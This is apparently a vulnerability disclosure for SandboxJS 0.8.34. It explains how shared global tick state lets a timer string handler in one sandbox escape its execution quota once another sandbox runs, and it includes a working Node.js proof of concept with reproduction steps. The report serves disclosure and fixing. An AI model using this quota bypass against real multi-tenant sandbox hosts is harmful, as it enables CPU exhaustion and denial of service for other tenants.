Summary

Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.

Impact: execution quota bypass → CPU/resource abuse

Details

• Affected project: SandboxJS (owner: nyariv)
• Assumed checked-out version: SandboxJS-0.8.34 at /Users/zwique/Downloads/SandboxJS-0.8.34

Vulnerable code paths

• /src/eval.ts — sandboxFunction binds ticks using ticks || currentTicks.current:

  createFunction(..., ticks || currentTicks.current, { ...context, ... })
  

  Relevant lines: 44, 53, 164, 167.

• /src/evaluator.ts / /src/executor.ts — global ticks:

  export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };
  

  and

  _execNoneRecurse(...) { currentTicks.current = ticks; ... }
  

  Relevant lines: ~1700, 1712.

• sandboxedSetTimeout compiles string handlers at execution time, not at scheduling time, which lets currentTicks.current be the wrong sandbox's ticks when compilation occurs.

Why This Is Vulnerable

• currentTicks.current is global mutable state shared across all sandbox instances.
• Timer string handlers are compiled at the moment the timer fires and read currentTicks.current at that time. If another sandbox runs between scheduling and execution, it can replace currentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.

Proof of Concept

Run with Node.js; adjust path if needed.

// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';

const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;

const sandboxA = new Sandbox({
  globals,
  prototypeWhitelist,
  executionQuota: 50n,
  haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });

const sandboxB = new Sandbox({ globals, prototypeWhitelist });

// Sandbox A schedules a heavy string handler
sandboxA.compile(
  'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();

// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();

setTimeout(() => {
  console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);

Reproduction Steps

1. Place the PoC in hi.js and run:

   node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js
   

2. Observe output similar to:

   { haltedA: false, doneA: true }
   

   This indicates the heavy loop completed and the quota was bypassed.

3. Remove the sandboxB.compile('1+1')().run(); line and rerun. Output should now be:

   { haltedA: true }
   

   This indicates quota enforcement is working correctly.

Impact

• Type: Runtime guard bypass (execution-quota / watchdog bypass)
• Who is impacted: Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
• Practical impact: Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
• Does not (as tested) lead to: Host object exposure or direct sandbox escape (no process / require leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.